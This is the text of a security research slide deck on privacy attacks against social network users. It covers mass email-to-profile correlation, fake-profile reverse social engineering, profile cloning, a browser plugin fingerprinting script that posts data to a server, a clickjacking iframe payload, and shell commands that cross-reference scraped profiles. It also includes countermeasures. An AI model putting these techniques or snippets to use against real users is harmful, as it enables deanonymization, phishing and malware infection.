

Attacking the Privacy of Social Network Users Marco `embyte` Balduzzi

What's about?



Motivations

- Social Networks have experienced a huge surge in popularity
- Facebook Is the 2nd most visited site
 - http://www.alexa.com/siteinfo/facebook.com
- Has > 800 Million active users
 - http://www.facebook.com/press/info.php?statistics
- The amount of personal information they store requires appropriate security precautions
- People are not aware of all the possible way in which these info can be abused
- A simple problem can result in serious consequences for the privacy of thousands of social users

Who am I?

- From Bergamo (IT) to the French Riviera
- MSc in Computer Engineering
- PhD at EURECOM
- 8+ years experience in IT Security
- Engineer and consultant for different international firms
- Co-founder of BGLug, Applied Uni Lab, (ex) SPINE Group, Nast, etc...
- http://www.iseclab.org/people/ embyte



Chapter 1

Automated Querying Attack



The Finding-Friends functionality

- Social Networks usually provide an email-based functionality to search for existing friends
- Two methods:
 - Email provider
 - Upload contact list



For example ... Linked in

See Who You Already Know on LinkedIn

Searching your email contacts is the easiest way to find people you already know on LinkedIn. Learn More

Your email:			
Email password:			
	Continue		
	We will not store your password or email anyone wit	thout your permission.	
Do you use Outlook, Import your desktop e	Apple Mail or another email application? email contacts »		

Enter Email Addresses

Enter email addresses of people to invite and connect. Separate each address by a comma.

Send Invitations



& Find Friends

Add Personal Contacts as Friends Choose how you communicate with friends. See how it works or manage imported contacts. Step 1 Step 2 Step 3 Find Friends Add Friends Invite Friends Windows Live Hotmail Find Friends Windows Live Messenger Find Friends orange.fr Find Friends orange Y Yahoo! Find Friends sfr.fr Find Friends Other Email Service Find Friends Other Tools Upload Contact File

Do you see the problem?

- Per se... it is a feature, not a vulnerability
- Historically provided by services as SMTP (VRFY command) and Finger
- Problems of the Finding-Friends functionality:
- I. Map a profile to an email (normally considered a <u>private</u> <u>information</u>)
- 2.Validation of e-mail addresses on large scale for massive spam attacks
 - Fast and automated
 - Bulk queries of thousands of emails (10,000 on Facebook)
- > 3. Recursive queries via email <u>fuzzing</u> on user friends

Mapping emails and profiles

Example

embyte@panda:~/projects/socialspam/data/completed\$ wc -l *_full.txt
55219 Badoo_full.txt
518272 Facebook_full.txt
42378 Friendster_full.txt
256271 LinkedIN_full.txt
217792 MySpace_full.txt
70275 NetLOG_full.txt
126224 Twitter_full.txt
18317 XING_full.txt
1304748 totale

xxxemxy@gmxil.com;0000000;myrndejxx;Axxe Mxy xxxercxdxver@gmxil.com;00000000;megtxstic000;Megxn Ricxter xxxey0@xotmxil.com;00000000;Oopy0;Alisx Dykstrx xxxeydxle@gmxil.com;00000000;AntDrunk;Ant Brown xxxey.xudson@gmxil.com;00000000;Axxeyxudson;Axxey Hudson xxxeylemieux00@xotmxil.com;00000000;xxxeylemieux;Axxey Lemieux xxxeylock@rogers.com;00000000;xxxeylock;Joxn Smetxurst xxxeymorxn@gmxil.com;00000000;Axxtitx;0Axxey Morxn xxxie000@xotmxil.com;0000000;AxxieSmitx00;Axxie Smitx xxxie@xkipr.com;00000000;AxxieKendxll;Axxie Kendxll

What next?

- Build the identify of a person... But, How?
- Different profiles with the <u>same e-mail</u> address belong to the same person
 - E-mail correlation on multiple social networks



Impact

- Validation of e-mail addresses on large scale for massive spam attacks
 - Fast and automated
- Enrich e-mail addresses with private user information for targeted attacks
 - Phishing, social engineering
 - Information gathering
- Detection of inconsistent profile information
- Discovering of "hidden" identities

Our prototype

Automated system for Profiling Users



Experiments

- Identified 8 popular Social Networks providers that support the Finding-Friends functionality:
 - Facebook, MySpace, Twitter, LinkedIN, Friendster, Badoo, Netlog, XING
- Input data: 10 million e-mail addresses found on a command-and-control (C&C) server used for SPAM

Two phases:

- I. Discover user profiles by e-mail querying
- > 2. Profile user identities by e-mail correlation

Discovered Profiles

Network Que	ry method E-	mail list length #	# queried e-mails	# identified	Percentage
	method	size efficiency	speed efficiency	accounts	
1 Facebook	Direct	5000	10M/day	517,747	4.96%
2 MySpace	GMail	1000	500K/day	209,627	2.01%
3 Twitter	GMail	1000	500K/day	124,398	1.19%
4 LinkedIn	Direct	5000	9M/day	246,093	2.36%
5 Friendster	GMail	1000	400K/day	42,236	0.41%
6 Badoo	Direct	1000	5M/day	12,689	0.12%
7 Netlog	GMail	1000	800K/day	69,971	0.67%
8 XING	Direct	500	3.5M/day	5,883	0.06%
]	Total of	1,228,644	

Extracted sensitive information

Some statistics

	Age	Sex	Spoken	Job	Education	Current	Searched	Sexual
			language			relation	relation	preference
Facebook	0.35	0.50	n/a	0.23	0.23	0.44	0.31	0.22
MySpace	82.20	64.87	n/a	3.08	2.72	8.41	4.20	4.07
Twitter	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a
LinkedIn	n/a	n/a	n/a	96.79	60.68	0.00	n/a	n/a
Friendster	82.97	87.45	n/a	30.88	2.72	64.59	77.76	n/a
Badoo	98.6 1	98.61	47.81	17.06	19.92	22.48	n/a	22.80
Netlog	97.66	99.99	44.56	43.40	1.64	25.73	23.14	29.30
XING	n/a	n/a	84.54	99.87	49.21	n/a	n/a	n/a

Examples

For each mail;profile_url;real_name;username

- AGE;41;GENRE;male;LOCATION;Seattle, WA;CURRENT_RELATION;single; SEXUAL_PREFERENCES;straight;NATIVE_LANGUAGE;English; JOB;instructor. I have a reasonable income.
- > AGE;23;GENRE;female;LOCATION;Paris;CURRENT_RELATION;open; SEXUAL_PREFERENCES;lesbian;NATIVE_LANGUAGE;English;EDUCATION; 1;JOB;I have a reasonable income.;SMOKER;1
- > AGE;25;GENRE;male;LOCATION;Madrid; CURRENT_RELATION;single;SEXUAL_PREFERENCES;gay;NATIVE_LANGUAGE; English;EDUCATION;1;JOB;Diseñador gráfico;

And next...

- \$ grep -iw "project manager at microsoft" LinkedIN_full_enriched.txt
- \$ for i in `/bin/grep -iw "security engineer" LinkedIN_full_enriched.txt | cut -d';' -f1`; do grep \$i MySpace_full_enriched.txt Badoo_full_enriched.txt ; done

Profiling of the user identities

T

Results of the e-mail correlation

# SN	# Profiles	Combination	Occurrences
1	608,989	Facebook - MySpace	57.696
2	199,161	Facebook - LinkedIn	49,613
3	55 660	Facebook - Twitter	25,759
4	11 483	Facebook - MySpace - Twitter	13,754
5	1 479	Facebook - LinkedIn - Twitter	13,733
5	1,470	Facebook - NetLOG	12,600
0	159	Badoo - FriendSter	11,299
7	11	Facebook - MySpace - LinkedIn	9,720
8	0	LinkedIn - Twitter	8,802
Total unique	876,941	MySpace - Twitter	7,593

Information Mismatch

- We compare information about the same user against different social network profiles
- Age, Sex, Location, etc...

		% Total	% of r	nismat	ched values
Information	Value	mismatches	2	3	4+
Name	string	72.65	62.70	35.37	17.66
Location	city	53.27 :	51.74	16.24	3.72
Age	0 < n < 100	34.49	33.58	17.84	30.56
Sex	male, female	12.18	12.18		
Sexual preference	straight, homosexual, bisexual	7.63	7.63		
Current relationship	single, in a relationship,	35.54	35.42	5.13	
	married, complicated				

Hidden profiles

- By correlating info from different sources, it is possible to discover "hidden" profiles
 - The project manager of my team is claiming to be much younger (41 -> 31) on a dating site
 - A professor of a US University is registered with a completely mismatching profile on dating networks
 - My (married) manager, 51
 years old, is looking for a

new woman





Countermeasures

- Do not provide a direct map between e-mail and user (e.g. returning a list of registered accounts in random order)
- Limit the amount of queries and use an "incremental update" approach
- Require contextual information to acknowledge the data
- Raising awareness (e.g. use a different e-mail for sites with personal information)

Follow-up

We contacted the vulnerable Social Networks

Some of them fixed (partly!) the problem

.inked in	ay Sign In 🦷 Kanguage *
Restricted Action	
Your account has been temporarily restricted from performing this action because we have detected an unusually large number of page views through your LinkedIn account.	te with in the real world. You can use any of the friet Contact Importer Error
The information within LinkedIn is provided by our users for usage on the site only. In order to protect user privacy, our User Agreement prohibits automated or manual means for systematically viewing LinkedIn web pages. Please review our User Agreement for more details, and contact Customer Service if you have further questions.	You have exceeded the limit of uploading contact files! You are temporarily blocked from uploading contact files. This block will last anywhere from a few hours to a few days.
	Okay

Chapter 2



Social engineering is the art of <u>manipulating people</u> into performing actions or divulging confidential information, rather than by breaking in or using technical cracking techniques

Reverse Social Engineering Attacks

- Classic Social Engineering:
 - The attacker contacts his victim
- Reverse Social Engineering (RSE): The attacker...
 - I. feeds his victim with a pretext (baiting)
 - 2. waits for victim to make the initial approach
- Victim less suspicious as she makes the initial contact
- Bypasses current behavioral and filter-based detection
- Potential to reach millions of users on social networks

What happened to our FB profile?

- The account used in <u>Chapter I</u> received a large number of friend requests
- Hit the limit : 25,000





Too many connections.

Sorry, you cannot create any more connections.

OK

- 14	H I I	- N	1 14	C 1		
			-1 - FS	~ ~	1.0.1	

Alison is now using Facebook in English (US). 🛵 Alison and Amitabh Lakhotia are now friends. · Comment · Like Alison and Anthony Jaeger are now friends. · Comment · Like 🛵 Alison and Kenney Rosicka are now friends. · Comment · Like 🛵 Alison and Stig Johannessen are now friends. · Comment · Like Lison and Lennox Humphrey are now friends. · Comment · Like hison and Mark Chin are now friends. · Comment · Like 🛵 Alison and Ryan Bathauer are now friends. · Comment · Like Like Alison and David Moore are now friends. Comment Like 🛵 Alison and Kareem Trevizo are now friends. · Comment · Like 🛵 Alison and Ruth's Chris Lake Mary are now friends. · Comment · Like 27 Alison and Tom Rawlings are now friends. · Comment · Like 🛵 Alison and Chrystian David Saavedra Cuartas are now friends. · Comme אָק Alison and Aston Thompson are now friends. · Comment · Like 🛵 Alison and D.i. Omar are now friends. · Comment · Like 🛵 Alison and Patrick Gaunce are now friends. · Comment · Like 🛵 Alison and Edwin Chan are now friends. • Comment • Like Alison and Michael Holmes are now friends. · Comment · Like 🛵 Alison and Chippy Maunga are now friends. · Comment · Like 🛵 Alison and Baris Kadioglu are now friends. · Comment · Like Like Alison and Andrea Burnett are now friends. Comment Like 27 Alison and Timothy Billings are now friends. · Comment · Like 🛵 Alison and Armando Mendoza Arias are now friends. · Comment · Like 🛵 Alison and Harold Arnold are now friends. · Comment · Like Like Alison and Ray Golden are now friends. · Comment · Like Like Alison and Michael Brown are now friends. · Comment · Like لي Alison and Eddie J Grant are now friends. · Comment · Like 🛵 Alison and Martin Tino Moreno are now friends. · Comment · Like 🛵 Alison and Leon van der Walt are now friends. · Comment · Like 🛵 Alison and Giorgio Profeti are now friends. · Comment · Like Alison and Tim Page are now friends. · Comment · Like

🔻 emt	oyte@pa	inda: ~/pi	ojects _	
File №	1odifica	Visualizza	Terminale	Aiut
adding	userID	74026899	6	-
adding	userID	50380127	4	
adding	userID	61160588	7	
adding	userID	13963835	65	
adding	userID	15262730	25	
adding	userID	11042217	92	
adding	userID	81959395	3	
adding	userID	16110614	93	
adding	userID	14283047	05	
adding	userID	19512192		
adding	userID	13074188	75	
adding	userID	10000006	6318035	
adding	userID	10000005	5937720	
adding	userID	18217075	18	
adding	userID	10000005	9177956	
adding	userID	15015577	41	
adding	userID	14722037	78	
adding	userID	11017038	98	
adding	userID	54389270	3	
adding	userID	13822200	05	
adding	userID	11348400	81	
adding	userID	14592955	24	
adding	userID	17452577	31	
adding	userID	79020749	9	
adding	userID	57889282	5	
adding	userID	16498949	14	
adding	userID	15352974	38	
adding	userID	66972530	5	
adding	userID	16474600	77	
adding	userID	10585883	62	
adding	userID	15237739	30	
adding	userID	10000005	0357865	
adding	userID	15590553	53	
adding	userID	50835413	7	-
				_

Facebook Experiment

- About 500,000 email queried
- 3.3% friend connect rate in 3 months
- Cascading effect based on reputation
- 0.37% average friend connect rate per month





Hello Alison, I am Eric and I just	t logged in	Sergio Malchiodi Today at 4:00pm and read that you are in an	ciao piac n open	o cere di conoscerti parli italiano o i need write you subject> k's for accepting my application enjoy ur time regards
relationship. How is of experience with like-minded people and manage them	is that work this but no who migh better.	king for you? I have had a li ot a lot and I am looking for it be able to help me under	ittle bit stand	subject> facebook keeps suggesting that we should be friends
Frave a great day. Eric		Congratulations Iwould like to know w friend for everything I know I need to prac wanted to tell you th Kisses	you a what are ctice the is words	are a beatiful and nice girl and e you doing ever, and Im your e Englishsorry baby, but I s
	Gamaliel Malave Vesterday at 12:10 Bay Goldberg			ere to hook up with people, also, I made my tional support for people with problems, joining for us all.
Yesterday at 7:58am Image: Provide the second sec		Yesterday at 7:58am Dale Hunt Yesterday at 1:31am	facebook figure ou 20 billior 1 page attorney f	k "add Alison Price as your friend" so I tried to ut who we knew in common and I see you have like n friends guess I won't look thru them all, not even . call me lazy ! But do you have any good cival friends in the Arizona area ? Might like to talk to one
	Robert Allison Yesterday at 12:51am		Potherwise, you have a Fabulous Day and A Better W My Friend Alison Price ! God Bless ! he hey thanks for you poke. would love to take you out sometime	
		Carlos Gonzalez Gutierrez Mon at 11:28pm	Hi Hi A	or just chat with you. give me a text if you like. 07595316778
		Albert Yin Mon at 6:11am	Sug Lol	ggestions facebook keeps suggesting you as a possible friend. W
	199	Dennis Earles Mon at 6:07am	Wh	nere are you located?

3 Types of Real-World RSE Attacks

Recommendation-Based

 Mediated attack where Recommendation System performs baiting





facebook

Home Profile

3 Types of Real-World RSE Attacks

Demographic-Based – Mediated



Visitor Tracking-Based – Direct



Experiment

RSE attack on Facebook, Badoo and Friendster

Type of Attack	Facebook	Badoo	Friendster
Recommendation-Based	√₩	-	-
Demographic- Based	✓	√ ₩	 ✓
Visitor Tracking-Based	-	 ✓ 	√₩

Determine characteristics which make profiles effective

Social Network	Profile I	Profile 2	Profile 3	Profile 4	Profile 5
Age	23	23	23	35	23
Sex	Male	Female	Female	Female	Female
Location	New York	New York	Paris	New York	New York
Picture*					

Recommendation Based (Facebook)

- 50,000 profiles queried per attack profile
 - Profiles 2 and 3 (girls) most successful
 - Profile 5 least effective
- 94% of messages sent <u>after</u> friend requests
- Most common 3-grams: "suggested you as" or "suggest I add"
- The baiting works



Demographic Based (Badoo)

- Created the fake profiles and occasionally updated to remain in search
 - Profile 5 was removed
 - Profiles 2 and 3 most successful again
 - Profile 5 not using actual photo was disabled
- 50% of visitors messaged Profile 2 and 3 (44% avg.)
- Most common 3-grams: "how are you", "get to know", and "would you like"
- Face-to-face relation



Visitor Based (Friendster)

- 42,000 users visited per attack profile
 - Number of users visited attack profiles back, consistent with Facebook
 - 0.25% to 1.2% per month
- Number of following friend requests or messages <u>low</u> in comparison
- Demographics similar to Facebook



Lessons Learned

- Pretexting critical for RSE attacks
 - Excuse needed to "break the ice"
 - Recommendation systems (e.g. Facebook) provide strongest pretext
 - The Visitor Based attack was not effective (e.g. Friendster)

Profile effectiveness

- Attractive female profiles are highly successful
- Can be tuned to demographics of target victim(s) (e.g. Badoo)

Countermeasures

- Perform recommendations based on very strong links
 - Ensure at least a few friends in common (or within n-degrees of separation)
- Adapt behavioural techniques to RSE techniques
 - Check accounts only performing a single action
 - Ensure bi-directional activity (i.e. profile also searches and adds users)
- CAPTCHAs for incoming friend requests

Chapter 3

Cloned Profiles



Cloning attack

Clone the account of an existing user inside the same network and send friend requests to her contacts



- Clone the victim profile into a different social network where she is not registered and contacting her friends
- All your contacts are belong to us: automated identity theft attacks on social networks (Bilge et al.)

Pseudo-Cloning attack

- Pseudo-cloning attack
 - MySpace
 - Facebook

facebook

facebook



Solution: cooperation

What You Can Do

Select an option below if you would like to unfriend or block this person:

🔘 Unfriend

Hetali will not be able to post on your wall

O Block

Blocking means you won't be able to see or contact each other on Facebook

Additionally, you may report this profile as the following:

- My friend is annoying me
- O This profile is pretending to be someone or is fake



Chapter 4

Exploiting the trust





Alison Price Where is the sense of humour? Yesterday at 14:46 · Comment · Like

Leverage our new friends

- Now that we have many friends, what we do with them?
- A drive-by-download experiment
 - Exploit the browser
 - Turn the user's PC in a bot





Alison Price Very funny candid camera for a campaign against the abuse of alcohol :-) http://movie.ham-radio-op.net

movie.ham-radio-op.net

Source: movie.ham-radio-op.net

http://www.metacafe.com/watch/3001230/street_dares/



Mohamed Arshad Maheen hello friend how r u?keep in touch..... -arshad Yesterday at 22:27 · Delete



Allan Stewart In your Funny Bone Yesterday at 22:28 · Delete

Vesterday at 15:31 . Delete



Mohamed Arshad Maheen hellloooooooo good morning..friend...... 9 hours ago · Delete

Raja Rajan It is in our deep concious mind 7 hours ago - Delete

The detection code

```
<SCRIPT LANGUAGE="JavaScript"
SRC="flash_detect.js">
<SCRIPT LANGUAGE="JavaScript">
function fp_res(k, v) {
this.k = k; this.v = v;
this.toString = function () {
return this.k + ':' + this.v; };
```

```
}
```

```
var vers = [];
function add(label,value) {
    if (value)
       vers.push(new fp_res(label,value));
    else
       vers.push(new fp_res(label,'none'));
}
```

add('nav name', navigator.appName); add('nav version', navigator.appVersion); add('nav buildid', navigator.buildID); add('nav codename', navigator.appCodeName); add('nav ua', navigator.userAgent); add('nav os', navigator.platform); add('nav_java', navigator.javaEnabled()); add('nav lang', navigator.language); add('nav ulang', navigator.userLanguage); add('nav_slang', navigator.systemLanguage); add('flash raw', FlashDetect.raw); add('flash major', FlashDetect.major); add('flash minor', FlashDetect.minor); add('flash_rev', FlashDetect.revision); add('plug num', navigator.plugins.length) for (var i = 0; i < navigator.plugins.length; i++)add('plug_' + i , navigator.plugins[i].name +
 ' ' + navigator.plugins[i].description);

The detection code

```
else if (window.ActiveXObject) {
    try {
        http_request = new
        ActiveXObject("Msxml2.XMLHTTP");
        }
        catch (e)
        {
        http_request = new ActiveXObject
        ("Microsoft.XMLHTTP");
    }
}
```

```
http_request.open('POST', 'save.php', false);
```

```
http_request.setRequestHeader("Content-
Type", "application/x-www-form-
urlencoded");
http_request.send("data="+vers);
```

```
window.location =
```

```
http://www.metacafe.com/watch/3001230/
street_dares/
```

How many possible victims?

- Remote Code Execution Vulnerabilities
 - PDF < 9.1.3: VUPEN / ADV-2009-2086</p>
 - DIVX < 1.4.3.4: CVE-2008-5259</p>
 - FLASH <= 11.5.0.600: apsb09-11</p>
- ▶ # 202 accesses in a single day

Plugin	Vulnerable	Patched	Not installed
PDF	95	0	107
DIVX	7	5	190
FLASH	107	0	113

How do I spread an infection?







Clickjacking

The classic Twitter example

```
<IFRAME style={
position: absolute;
z-index: 2; opacity: 0;
filter: alpha(opacity=0);
}
scrolling="no"
src=
http://twitter.com/home?
status=Don't Click: http://
tinyurl.com/amgzs6>
</IFRAME>
<BUTTON style={
position: absolute; z-index:
1; }>
Don't Click
</BUTTON>
```



Likejacking

Clickjacking applied to Social Networks



Dad walks in on Daughter.. EMBARRASSING! www.noobjodz.info This really must have been an awkward moment.

🕣 23 hours ago • Like • Comment • Share

reads her STATUS MESSAGE.



This Girls Parents Took A Picture Of Her Everyday For 10 Years (video) www.90-second-video.info

15 minutes ago - Like - Comment - Share

Koobface



- Botnet that leverages social networks to propagate
- Valid credentials are stolen from infected computers
- Messages pointing to malicious sites
- Shortened with bit.ly
- Faked youtube videos with faked software to download
- CAPTCHA solver to register accounts
- P2P infrastructure



Chapter 5



- http://www.safebook.eu
- {cutillo, onen, molva}@eurecom.fr

Advantages

Current OSN

Data (cleartext?) is stored in a centralized fashion on the provider. The SN provider (or an attacker taking control over it) can act as a "big brother";

• Possibility to clone/create genuine/fake profiles;

• The SN providers can discover who is looking for whom's data;



Safebook

• Encrypted partitioned data stored in a de-centralized fashion by real-life friends, no big brother, no single point of failure;

• No fake/sybil profiles, user's identity is certified by an offline Trusted Identification Service, that can be set-up in a distributed; various levels.

 Pseudo onion routing technique provides communication untraceability

System Overview



System Overview

- Decentralization through a P2P architecture (e.g. Kad) where the peers are the users (cooperation)
- Profile data is stored at friend's place
 - Mirror: data availability
- Friend-of-friend chains lead mirrors to entrypoint
 - Data anonymity (encryption) and untraceability
 - Hash (username) = list of entrypoint
- Identifiers are unambiguously generated and cannot be forged
 - hash (uname, passport, static information)
 - Cloning attacks not possible

Profile Lookup

Example of profile lookup in Safebook



Communication Obfuscation

- Pseudo Onion-Routing
- Double tunneling
 - Hop by Hop and End to End
- User U lookups for User V (A is the mirror)



Conclusions

- The amount of personal information stored on social networking sites calls for appropriate security precautions to protect this data.
- Users too often tend to reveal a bit too much information.
- Social networking providers lack attention to security, while preferring to provide more functionalities than implement strict control mechanisms.
- New threats targeting Social Networks
 - Worms that propagate across social networks,
 - Malware that used networks as vectors,
 - Data leaks through automated crawling
 - Targeted spam
 - Advanced botnets

Questions

Search	
Notifications	
friends, as yo	and are now are now u suggested.
Everything is going According to plan.	
failbook.com	